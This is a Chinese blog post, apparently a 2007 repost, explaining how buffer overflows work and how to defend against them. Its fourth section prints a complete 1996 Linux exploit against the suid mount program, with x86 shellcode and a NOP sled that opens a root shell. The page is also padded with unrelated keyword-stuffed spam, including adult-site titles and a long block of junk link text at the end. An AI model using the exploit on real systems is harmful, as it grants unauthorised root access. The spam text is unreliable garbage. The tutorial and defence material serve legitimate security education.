青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

旅途

如果想飛得高,就該把地平線忘掉

緩沖區(qū)溢出原理及防護


摘 要 本文詳細分析了緩沖區(qū)溢出的原理,描述了網(wǎng)絡(luò)攻擊者利用緩沖區(qū)溢出漏洞進行系統(tǒng)攻擊的一般過程,最后簡單討論了幾種緩沖區(qū)溢出的保護方法。
關(guān)鍵詞 緩沖區(qū)溢出 緩沖區(qū)溢出漏洞 安全攻擊 緩沖區(qū)溢出保護

在 過去的十年中,以緩沖區(qū)溢出為攻擊類型的安全漏洞是最為常見的一種形式。更為嚴重的是,緩沖區(qū)溢出漏洞占了遠程網(wǎng)絡(luò)攻擊的絕大多數(shù),這種攻擊可以使得一個 匿名的Internet用戶有機會獲得一臺主機的部分或全部的控制權(quán)!由于這類攻擊使任何人都有可能取得主機的控制權(quán),所以它代表了一類極其嚴重的安全威 脅。

緩沖區(qū)溢出攻擊之所以成為一種常見的攻擊手段,其原因在于緩沖區(qū)溢出漏洞太普通了,并且易于實現(xiàn)。而且,緩沖區(qū)溢出所以成為遠程攻擊 的主要手段,其原因在于緩沖區(qū)溢出漏洞給予了攻擊者所想要的一切:殖入并且執(zhí)行攻擊代碼。被殖入的攻擊代碼以一定的權(quán)限運行有緩沖區(qū)溢出漏洞的程序,從而 得到被攻擊主機的控制權(quán)。本文簡單介紹了緩沖區(qū)溢出的基本原理和預(yù)防辦法。


一、緩沖區(qū)溢出的概念和原理

緩沖區(qū)是 內(nèi)存中存放數(shù)據(jù)的地方。在程序試圖將數(shù)據(jù)放到機器內(nèi)存中的某一個位置的時候,因為沒有足夠的空間就會發(fā)生緩沖區(qū)溢出。而人為的溢出則是有一定企圖的,攻擊 者寫一個超過緩沖區(qū)長度的字符串,植入到緩沖區(qū),然后再向一個有限空間的緩沖區(qū)中植入超長的字符串,這時可能會出現(xiàn)兩個結(jié)果:一是過長的字符串覆蓋了相鄰 的存儲單元,引起程序運行失敗,嚴重的可導致系統(tǒng)崩潰;另一個結(jié)果就是利用這種漏洞可以執(zhí)行任意指令,甚至可以取得系統(tǒng)root特級權(quán)限。

緩 沖區(qū)是程序運行的時候機器內(nèi)存中的一個連續(xù)塊,它保存了給定類型的數(shù)據(jù),隨著動態(tài)分配變量會出現(xiàn)問題。大多時為了不占用太多的內(nèi)存,一個有動態(tài)分配變量的 程序在程序運行時才決定給它們分配多少內(nèi)存。如果程序在動態(tài)分配緩沖區(qū)放入超長的數(shù)據(jù),它就會溢出了。一個緩沖區(qū)溢出程序使用這個溢出的數(shù)據(jù)將匯編語言代 碼放到機器的內(nèi)存里,通常是產(chǎn)生root權(quán)限的地方。僅僅單個的緩沖區(qū)溢出并不是問題的根本所在。但如果溢出送到能夠以root權(quán)限運行命令的區(qū)域,一旦 運行這些命令,那可就等于把機器拱手相讓了
造成緩沖區(qū)溢出的原因是程序中沒有仔細檢查用戶輸入的參數(shù)。例如下面程序:

example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}

上 面的strcpy()將直接吧input中的內(nèi)容copy到buffer中。這樣只要input的長度大于16,就會造成buffer的溢出,使程序運行 出錯。存在像strcpy這樣的問題的標準函數(shù)還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在 循環(huán)內(nèi)的getc(),fgetc(),getchar()等。

當然,隨便往緩沖區(qū)中填東西造成它溢出一般只會出現(xiàn) Segmentation fault 錯誤,而不能達到攻擊的目的。最常見的手段是通過制造緩沖區(qū)溢出使程序運行一個用戶shell,再通過shell執(zhí)行其他命令。如果該程序?qū)儆趓oot且 有suid權(quán)限的話,攻擊者就獲得了一個有root權(quán)限的shell,便可以對系統(tǒng)進行任意操作了。

請注意,如果沒有特別說明,下面的內(nèi)容都假設(shè)用戶使用的平臺為基于Intel x86 CPU的Linux系統(tǒng)。對其他平臺來說,本文的概念同樣適用,但程序要做相應(yīng)修改。


二、制造緩沖區(qū)溢出

一個程序在內(nèi)存中通常分為程序段、數(shù)據(jù)段和堆棧三部分。程序段里放著程序的機器碼和只讀數(shù)據(jù)。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。動態(tài)數(shù)據(jù)則通過堆棧來存放。在內(nèi)存中,它們的位置是:

attachments/200509/04_194023_1.gif
當 程序中發(fā)生函數(shù)調(diào)用時,計算機做如下操作:首先把參數(shù)壓入堆棧;然后保存指令寄存器(IP)中的內(nèi)容作為返回地址(RET);第三個放入堆棧的是基址寄存 器(FP);然后把當前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變量留出一定空間,把SP減去適當?shù)臄?shù)值。以下面程序為例:

example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring [i] = 'B';
func1(longstring);
}

當調(diào)用函數(shù)func1()時,堆棧如下:
attachments/200509/04_194043_2.gif
不 用說,程序執(zhí)行的結(jié)果是"Segmentation fault (core dumped)"或類似的出錯信息。因為從buffer開始的256個字節(jié)都將被* input的內(nèi)容'B'覆蓋,包括sfp, ret,甚至*input。'B'的16進值為0x41,所以函數(shù)的返回地址變成了0x41414141,這超出了程序的地址空間,所以出現(xiàn)段錯誤。


三、緩沖區(qū)溢出漏洞攻擊方式

緩 沖區(qū)溢出漏洞可以使任何一個有黑客技術(shù)的人取得機器的控制權(quán)甚至是最高權(quán)限。一般利用緩沖區(qū)溢出漏洞攻擊root程序,大都通過執(zhí)行類似“exec (sh)”的執(zhí)行代碼來獲得root 的shell。黑客要達到目的通常要完成兩個任務(wù),就是在程序的地址空間里安排適當?shù)拇a和通過適當?shù)某跏蓟拇嫫骱痛鎯ζ鳎尦绦蛱D(zhuǎn)到安排好的地址空 間執(zhí)行。

1、在程序的地址空間里安排適當?shù)拇a
在程序的地址空間里安排適當?shù)拇a往往是相對簡單的。如果要攻擊的代碼在所攻擊程 序中已經(jīng)存在了,那么就簡單地對代碼傳遞一些參數(shù),然后使程序跳轉(zhuǎn)到目標中就可以完成了。攻擊代碼要求執(zhí)行“exec(‘/bin/sh’)”,而在 libc庫中的代碼執(zhí)行“exec(arg)”,其中的“arg”是個指向字符串的指針參數(shù),只要把傳入的參數(shù)指針修改指向“/bin/sh”,然后再跳 轉(zhuǎn)到libc庫中的響應(yīng)指令序列就可以了。當然,很多時候這個可能性是很小的,那么就得用一種叫“植入法”的方式來完成了。當向要攻擊的程序里輸入一個字 符串時,程序就會把這個字符串放到緩沖區(qū)里,這個字符串包含的數(shù)據(jù)是可以在這個所攻擊的目標的硬件平臺上運行的指令序列。緩沖區(qū)可以設(shè)在:堆棧(自動變 量)、堆(動態(tài)分配的)和靜態(tài)數(shù)據(jù)區(qū)(初始化或者未初始化的數(shù)據(jù))等的任何地方。也可以不必為達到這個目的而溢出任何緩沖區(qū),只要找到足夠的空間來放置這 些攻擊代碼就夠了。

2、控制程序轉(zhuǎn)移到攻擊代碼的形式
緩沖區(qū)溢出漏洞攻擊都是在尋求改變程序的執(zhí)行流程,使它跳轉(zhuǎn)到攻擊代碼,最 為基本的就是溢出一個沒有檢查或者其他漏洞的緩沖區(qū),這樣做就會擾亂程序的正常執(zhí)行次序。通過溢出某緩沖區(qū),可以改寫相近程序的空間而直接跳轉(zhuǎn)過系統(tǒng)對身 份的驗證。原則上來講攻擊時所針對的緩沖區(qū)溢出的程序空間可為任意空間。但因不同地方的定位相異,所以也就帶出了多種轉(zhuǎn)移方式。

(1)Function Pointers(函數(shù)指針)
在 程序中,“void (* foo) ( )”聲明了個返回值為“void” Function Pointers的變量“foo”。Function Pointers可以用來定位任意地址空間,攻擊時只需要在任意空間里的Function Pointers鄰近處找到一個能夠溢出的緩沖區(qū),然后用溢出來改變Function Pointers。當程序通過Function Pointers調(diào)用函數(shù),程序的流程就會實現(xiàn)。

(2)Activation Records(激活記錄)
當一個函數(shù)調(diào)用發(fā)生 時,堆棧中會留駐一個Activation Records,它包含了函數(shù)結(jié)束時返回的地址。執(zhí)行溢出這些自動變量,使這個返回的地址指向攻擊代碼,再通過改變程序的返回地址。當函數(shù)調(diào)用結(jié)束時,程 序就會跳轉(zhuǎn)到事先所設(shè)定的地址,而不是原來的地址。這樣的溢出方式也是較常見的。

(3)Longjmp buffers(長跳轉(zhuǎn)緩沖區(qū))
在C 語言中包含了一個簡單的檢驗/恢復系統(tǒng),稱為“setjmp/longjmp”,意思是在檢驗點設(shè)定“setjmp(buffer)”,用longjmp (buffer)“來恢復檢驗點。如果攻擊時能夠進入緩沖區(qū)的空間,感覺“longjmp(buffer)”實際上是跳轉(zhuǎn)到攻擊的代碼。像 Function Pointers一樣,longjmp緩沖區(qū)能夠指向任何地方,所以找到一個可供溢出的緩沖區(qū)是最先應(yīng)該做的事情。

3、植入綜合代碼和流程控制
常見的溢出緩沖區(qū)攻擊類是在一個字符串里綜合了代碼植入和Activation Records。攻擊時定位在一個可供溢出的自動變量,然后向程序傳遞一個很大的字符串,在引發(fā)緩沖區(qū)溢出改變Activation Records的同時植入代碼(權(quán)因C在習慣上只為用戶和參數(shù)開辟很小的緩沖區(qū))。植入代碼和緩沖區(qū)溢出不一定要一次性完成,可以在一個緩沖區(qū)內(nèi)放置代碼 (這個時候并不能溢出緩沖區(qū)),然后通過溢出另一個緩沖區(qū)來轉(zhuǎn)移程序的指針。這樣的方法一般是用于可供溢出的緩沖區(qū)不能放入全部代碼時的。如果想使用已經(jīng) 駐留的代碼不需要再外部植入的時候,通常必須先把代碼做為參數(shù)。在libc(熟悉C的朋友應(yīng)該知道,現(xiàn)在幾乎所有的C程序連接都是利用它來連接的)中的一 部分代碼段會執(zhí)行“exec(something)”,當中的something就是參數(shù),使用緩沖區(qū)溢出改變程序的參數(shù),然后利用另一個緩沖區(qū)溢出使程 序指針指向libc中的特定的代碼段。 程序編寫的錯誤造成網(wǎng)絡(luò)的不安全性也應(yīng)當受到重視,因為它的不安全性已被緩沖區(qū)溢出表現(xiàn)得淋漓盡致了。


四、利用緩沖區(qū)溢出進行的系統(tǒng)攻擊

如 果已知某個程序有緩沖區(qū)溢出的缺陷,如何知道緩沖區(qū)的地址,在哪兒放入shell代碼呢?由于每個程序的堆棧起始地址是固定的,所以理論上可以通過反復重 試緩沖區(qū)相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進行數(shù)百至上千次,實際上是不現(xiàn)實的。解決的辦法是利用空指令NOP。在shell代碼 前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執(zhí)行完NOP指令后程序?qū)⒓せ顂hell進程。這樣就大大增加了猜中的可能性。下面是一 個緩沖區(qū)溢出攻擊的實例,它利用了系統(tǒng)程序mount的漏洞:

example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell ;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

程 序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。程序首先分配一塊暫存區(qū)buff,然后在buff的前面部分填滿NOP,后面部分放shell代碼。 最后部分是希望程序返回的地址,由棧地址加偏移得到。當以buff為參數(shù)調(diào)用mount時,將造成mount程序的堆棧溢出,其緩沖區(qū)被buff覆蓋,而 返回地址將指向NOP指令。

由于mount程序的屬主是root且有suid位,普通用戶運行上面程序的結(jié)果將獲得一個具有root權(quán)限的shell。


五、緩沖區(qū)溢出的保護方法

目前有四種基本的方法保護緩沖區(qū)免受緩沖區(qū)溢出的攻擊和影響:

1、強制寫正確的代碼的方法
編 寫正確的代碼是一件非常有意義但耗時的工作,特別像編寫C語言那種具有容易出錯傾向的程序(如:字符串的零結(jié)尾),這種風格是由于追求性能而忽視正確性的 傳統(tǒng)引起的。盡管花了很長的時間使得人們知道了如何編寫安全的程序,具有安全漏洞的程序依舊出現(xiàn)。因此人們開發(fā)了一些工具和技術(shù)來幫助經(jīng)驗不足的程序員編 寫安全正確的程序。雖然這些工具幫助程序員開發(fā)更安全的程序,但是由于C語言的特點,這些工具不可能找出所有的緩沖區(qū)溢出漏洞。所以,偵錯技術(shù)只能用來減 少緩沖區(qū)溢出的可能,并不能完全地消除它的存在。除非程序員能保證他的程序萬無一失,否則還是要用到以下部分的內(nèi)容來保證程序的可靠性能。

2、通過操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行,從而阻止攻擊者殖入攻擊代碼
這種方法有效地阻止了很多緩沖區(qū)溢出的攻擊,但是攻擊者并不一定要殖入攻擊代碼來實現(xiàn)緩沖區(qū)溢出的攻擊,所以這種方法還是存在很多弱點的。

3、利用編譯器的邊界檢查來實現(xiàn)緩沖區(qū)的保護
這個方法使得緩沖區(qū)溢出不可能出現(xiàn),從而完全消除了緩沖區(qū)溢出的威脅,但是相對而言代價比較大。

4、在程序指針失效前進行完整性檢查
這樣雖然這種方法不能使得所有的緩沖區(qū)溢出失效,但它的確確阻止了絕大多數(shù)的緩沖區(qū)溢出攻擊,而能夠逃脫這種方法保護的緩沖區(qū)溢出也很難實現(xiàn)。

最 普通的緩沖區(qū)溢出形式是攻擊活動紀錄然后在堆棧中殖入代碼。這種類型的攻擊在1996年中有很多紀錄。而非執(zhí)行堆棧和堆棧保護的方法都可以有效防衛(wèi)這種攻 擊。非執(zhí)行堆棧可以防衛(wèi)所有把代碼殖入堆棧的攻擊方法,堆棧保護可以防衛(wèi)所有改變活動紀錄的方法。這兩種方法相互兼容,可以同時防衛(wèi)多種可能的攻擊。
剩下的攻擊基本上可以用指針保護的方法來防衛(wèi),但是在某些特殊的場合需要用手工來實現(xiàn)指針保護。全自動的指針保護需要對每個變量加入附加字節(jié),這樣使得指針邊界檢查在某些情況下具有優(yōu)勢。

最為有趣的是,緩沖區(qū)溢出漏洞--Morris蠕蟲使用了現(xiàn)今所有方法都無法有效防衛(wèi)的方法,但是由于過于復雜的緣故卻很少有人用到。

在本文中,我們詳細描述和分析了緩沖區(qū)溢出的原理,并簡單介紹了幾種防衛(wèi)方法。由于這種攻擊是目前常見的攻擊手段,所以進行這個方面的研究工作是有意義和成效的。


參考文獻
[1] 網(wǎng)絡(luò)入侵檢測分析員手冊. Stephen Northcutt著.余青霓等譯.人民郵電出版社,2000.3
[2] C語言疑難問題解析. 嚴桂蘭,劉甲耀編著.華東華工學院出版社,1993,1.
[3] 網(wǎng)絡(luò)最高安全技術(shù)指南. 王銳等譯.機械工業(yè)出版社,1998,5.


posted on 2007-07-22 03:17 旅途 閱讀(448) 評論(0)  編輯 收藏 引用 所屬分類: C/C++深入windows

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲国产婷婷香蕉久久久久久99 | 国产精品二区二区三区| 久久一区二区三区超碰国产精品| 欧美片网站免费| 国产日韩欧美一区| 亚洲美女区一区| 亚洲精品韩国| 免费看的黄色欧美网站| 国产一区二区看久久| 久久视频国产精品免费视频在线| 亚洲一区久久| 国产亚洲精品久久久| 久久久99精品免费观看不卡| 欧美一区二区成人6969| 国产欧美在线视频| 国产精品99久久久久久宅男 | 一区免费观看| 久久久久久免费| 欧美一区二区成人6969| 亚洲午夜av电影| 国产一区在线看| 久久久精品网| 美女精品在线观看| 免费成人你懂的| 亚洲国产精品久久久久久女王| 久久综合一区| 欧美一区二区成人6969| 在线观看欧美日韩| 亚洲视频一区在线观看| 国产欧美一区二区三区久久 | 久久精品国产77777蜜臀| 欧美精品一区二区视频| 亚洲免费在线视频| 久久综合久久久| 久久婷婷人人澡人人喊人人爽| 欧美日韩国产在线一区| 麻豆精品一区二区av白丝在线| 午夜精品影院| 欧美一区二区久久久| 欧美日韩岛国| 欧美电影免费| 国产综合第一页| 99精品视频免费全部在线| 黄色影院成人| 亚洲欧美中文另类| 久久一区二区三区av| 欧美日韩成人在线| 亚洲人成7777| 欧美日本三级| 艳妇臀荡乳欲伦亚洲一区| 最新日韩在线视频| 欧美精品色综合| 亚洲毛片在线观看| 亚洲二区在线视频| 久久精品一区二区三区不卡牛牛 | 国模大胆一区二区三区| 亚洲午夜在线| 亚洲国产高清高潮精品美女| av成人国产| 国产一区二区高清不卡| 欧美国产三区| 欧美在线1区| 一本色道久久综合亚洲精品婷婷 | 午夜久久久久| 亚洲激情国产| 狠狠干综合网| 国产伦精品一区二区三区视频孕妇| 久久九九国产精品| 中国av一区| 亚洲国产美女久久久久| 久久久久久久一区二区三区| 日韩一区二区高清| 红桃视频国产精品| 国产精品尤物| 激情视频一区二区| 欧美国产免费| 久久精品国产亚洲精品| 亚洲免费在线视频| 性欧美超级视频| 亚洲欧美中文日韩在线| 免费在线成人| 99成人精品| 久久综合中文| 国际精品欧美精品| 亚洲欧美在线一区| 亚洲成色999久久网站| 亚洲欧美日韩专区| 欧美激情一区二区三级高清视频 | 精品动漫一区| 亚洲第一福利视频| 欧美国产成人精品| 亚洲美女色禁图| 亚洲欧美在线x视频| 久久久久久久网| 欧美欧美天天天天操| 国产日韩一级二级三级| 在线欧美福利| 亚洲午夜精品久久| 噜噜噜躁狠狠躁狠狠精品视频| 欧美成人午夜| 午夜精品免费| 欧美日韩国产黄| 韩国精品在线观看| 亚洲特色特黄| 亚洲黄一区二区三区| 久久精品最新地址| 国产精品久久久久一区二区三区 | 亚洲毛片播放| 久热爱精品视频线路一| 国产三区二区一区久久| 亚洲制服欧美中文字幕中文字幕| 蜜桃av综合| 久久久最新网址| 国产综合久久| 久久久久免费观看| 欧美高清视频| 美女黄色成人网| 欧美日韩a区| 久久久不卡网国产精品一区| 亚洲午夜免费视频| 亚洲性线免费观看视频成熟| 一区二区免费在线观看| 亚洲第一精品在线| 午夜一区二区三区在线观看| 亚洲一区二区三区四区五区午夜 | 亚洲在线一区| 亚洲国产精品美女| 亚洲人在线视频| 欧美一区二区三区视频免费| 欧美一区二区女人| 亚洲午夜精品一区二区| 国产精品高潮久久| 午夜精品久久久久久久蜜桃app| 国产麻豆成人精品| 日韩一区二区精品葵司在线| 亚洲第一精品久久忘忧草社区| 女仆av观看一区| av不卡免费看| 亚洲欧美视频一区| 在线成人激情视频| 免费亚洲婷婷| 亚洲视频成人| 伊人成年综合电影网| 亚洲国产黄色| 国产伦精品一区二区三区免费 | 亚洲一区二三| 91久久视频| 久久久精品999| 亚洲与欧洲av电影| 欧美大片专区| 亚洲高清中文字幕| 香蕉亚洲视频| 亚洲欧美日韩在线不卡| 欧美bbbxxxxx| 欧美成人午夜激情视频| 国产欧美日韩中文字幕在线| 99精品国产99久久久久久福利| 黄色在线一区| 久久精品国产91精品亚洲| 欧美主播一区二区三区美女 久久精品人 | 亚洲一区二区不卡免费| 伊人婷婷欧美激情| 欧美制服丝袜| 老司机精品久久| 亚洲欧洲一区二区在线播放| 久久视频在线免费观看| 六月天综合网| 亚洲第一在线视频| 欧美大片国产精品| 亚洲三级影院| 亚洲欧美中文日韩v在线观看| 国产精品久久久久久久久免费| 一区二区三区四区五区在线 | 亚洲视频日本| 国产精品手机在线| 久久久噜噜噜久久| 亚洲高清免费在线| 亚洲一区二区三区四区中文| 国产精品亚洲综合一区在线观看 | 国产在线欧美日韩| 欧美精品99| 性欧美暴力猛交69hd| 女生裸体视频一区二区三区| 亚洲品质自拍| 国产精品专区h在线观看| 久久另类ts人妖一区二区| 亚洲另类自拍| 另类图片综合电影| 亚洲一区二区三区高清不卡| 国产三级欧美三级| 欧美日韩直播| 欧美成人高清| 久热精品视频在线| 欧美在线高清视频| 亚洲自拍都市欧美小说| 日韩视频精品在线观看| 免费欧美网站| 久久久99久久精品女同性| 亚洲视频在线免费观看| 在线看欧美视频|